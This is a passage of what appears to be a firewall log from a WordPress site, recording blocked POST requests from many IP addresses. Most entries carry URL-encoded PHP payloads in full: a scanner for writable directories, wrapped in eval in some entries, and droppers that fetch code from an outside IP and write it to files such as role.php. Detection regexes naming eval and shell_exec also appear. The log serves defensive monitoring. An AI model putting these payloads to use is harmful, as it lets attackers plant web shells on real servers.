3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-length:3822\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nyE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 20:03:31","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Sg:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3832\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nSg=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 20:03:38","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-length:3865\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 20:03:48","103.133.215.148","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ux:%3C%3Fphp%20%20file_put_contents%28%27role.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ExvvgtZjrq%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:167\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nux=%3C%3Fphp%20%20file_put_contents%28%27role.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/ExvvgtZjrq%27%29%29%3B"]
["2026-05-12 20:03:51","152.53.138.6","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hV:%3C%3Fphp%20%20file_put_contents%28%27activecalendar.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/fDSGGrTujY%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:177\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nhV=%3C%3Fphp%20%20file_put_contents%28%27activecalendar.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/fDSGGrTujY%27%29%29%3B"]
["2026-05-12 20:04:16","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VR:%3C%3Fphp%20%20file_put_contents%28%27db.inc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/eUcdMiyOGv%27%29%29%3B","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:169\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nVR=%3C%3Fphp%20%20file_put_contents%28%27db.inc.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/eUcdMiyOGv%27%29%29%3B"]
["2026-05-12 20:04:20","50.6.7.129","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zv:%3C%3Fphp%20%20file_put_contents%28%27function.anchor.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/MdmEdiPLvS%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 